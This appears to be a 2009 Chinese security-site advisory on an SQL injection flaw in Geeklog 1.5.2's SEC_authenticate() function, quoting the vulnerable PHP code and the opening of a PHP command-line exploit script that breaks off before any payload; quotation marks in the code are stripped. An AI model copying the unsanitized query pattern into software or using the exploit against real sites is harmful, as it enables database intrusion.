频道栏目
首页 > 安全 > 网站安全 > 正文

Geeklog SEC_authenticate()函数SQL注入漏洞

2009-04-20 08:37:49           
收藏   我要投稿

影响版本:
geeklog <= 1.5.2
漏洞描述:


Geeklog是一个免费的、开放源码的Web应用程序。它可以使用户创建一个虚拟的社区,可以管理用户,张贴文章等。Geeklog采用PHP实现,以MySQL为后台数据库

Geeklog的index.php模块中的SEC_authenticate()函数没有正确的验证用户所提交的PHP_AUTH_USER和 REMOTE_USER变量参数,远程攻击者可以通过提交恶意查询请求执行SQL注入攻击。以下是/public_html/webservices /atom/index.php文件中34-53行的有漏洞代码段:

    ...
    require_once ../../lib-common.php;

    if (PHP_VERSION < 5) {
    $_CONF[disable_webservices] = true;
    } else {
        require_once $_CONF[path_system] . /lib-webservices.php;
    }
    if ($_CONF[disable_webservices]) {
        COM_displayMessageAndAbort($LANG_404[3], , 404, Not Found);
    }
    header(Content-type: . application/atom+xml . ; charset=UTF-8);
    WS_authenticate();
    ...

/system/lib-webservices.php文件780-877行的WS_authenticate()函数:

    ...
    function WS_authenticate()
    {
    global $_CONF, $_TABLES, $_USER, $_GROUPS, $_RIGHTS, $WS_VERBOSE;

    $uid = ;
    $username = ;
    $password = ;

    $status = -1;

    if (isset($_SERVER[PHP_AUTH_USER])) {
        $username = $_SERVER[PHP_AUTH_USER];
        $password = $_SERVER[PHP_AUTH_PW];

        if ($WS_VERBOSE) {
            COM_errorLog("WS: Attempting to log in user $username");
        }
    } elseif (!empty($_SERVER[REMOTE_USER])) {


        list($auth_type, $auth_data) = explode( , $_SERVER[REMOTE_USER]);
        list($username, $password) = explode(:, base64_decode($auth_data));

        if ($WS_VERBOSE) {
            COM_errorLog("WS: Attempting to log in user $username (via $_SERVER[REMOTE_USER])");  }
    } else {
        if ($WS_VERBOSE) {
            COM_errorLog("WS: No login given");
        }


    }

    ...

之后在907-909行:

    ...
     if (($status == -1) && $_CONF[user_login_method][standard]) {
            $status = SEC_authenticate($username, $password, $uid);
        }

    ...
   
/system/lib-security.php文件的695-717行:

    ...
    function SEC_authenticate($username, $password, &$uid)
    {
    global $_CONF, $_TABLES, $LANG01;

    $result = DB_query("SELECT status, passwd, email, uid FROM {$_TABLES[users]} WHERE username=$username AND ((remoteservice is null) or (remoteservice = ))"); //<------------------- SQL INJECTION HERE 

        $tmp = DB_error();
    $nrows = DB_numRows($result);

    if (($tmp == 0) && ($nrows == 1)) {
        $U = DB_fetchArray($result);
        $uid = $U[uid];
        if ($U[status] == USER_ACCOUNT_DISABLED) {
            // banned, jump to here to save an md5 calc.
            return USER_ACCOUNT_DISABLED;
        } elseif ($U[passwd] != SEC_encryptPassword($password)) {

            return -1; // failed login
        } elseif ($U[status] == USER_ACCOUNT_AWAITING_APPROVAL) {
            return USER_ACCOUNT_AWAITING_APPROVAL;
        } elseif ($U[status] == USER_ACCOUNT_AWAITING_ACTIVATION) {
            // Awaiting user activation, activate:
            DB_change($_TABLES[users], status, USER_ACCOUNT_ACTIVE,
                      username, $username);
            return USER_ACCOUNT_ACTIVE;
        } else {
            return $U[status]; // just return their status
        }
    } else {
        $tmp = $LANG01[32] . ": " . $username . "";
        COM_errorLog($tmp, 1);
        return -1;
    }
    }

    ...

可在这个函数的username参数中注入SQL代码,该参数来自$_SERVER[PHP_AUTH_USER]或$_SERVER[REMOTE_USER]变量。

测试方法:
本站提供程序(方法)可能带有攻击性,仅供安全研究与教学之用,风险自负!
<?php

 
    $err[0] = "[!] This script is intended to be launched from the cli!";
    $err[1] = "[!] You need the curl extesion loaded!";
   
    if (php_sapi_name() <> "cli") {
        die($err[0]);
    }
    if (!extension_loaded(curl)) {
        $win = (strtoupper(substr(PHP_OS, 0, 3)) === WIN) ? true :
        false;
        if ($win) {
            !dl("php_curl.dll") ? die($err[1]) :
            nil;
        } else {
            !dl("php_curl.so") ? die($err[1]) :
            nil;
        }
    }
   
    function syntax() {
        print (
        "Syntax: php ".$argv[0]." [host] [path] [OPTIONS] ". "Options:             
". "--port:[port]         - specify a port                                     
". "     &nb

相关TAG标签 函数 漏洞
上一篇:QQ空间的DOM XSS
下一篇:PHP cURL safe_mode和open_basedir绕过安全限制漏洞
相关文章
图文推荐
文章
推荐
热门新闻

关于我们 | 联系我们 | 广告服务 | 投资合作 | 版权申明 | 在线帮助 | 网站地图 | 作品发布 | Vip技术培训 | 举报中心

版权所有: 红黑联盟--致力于做实用的IT技术学习网站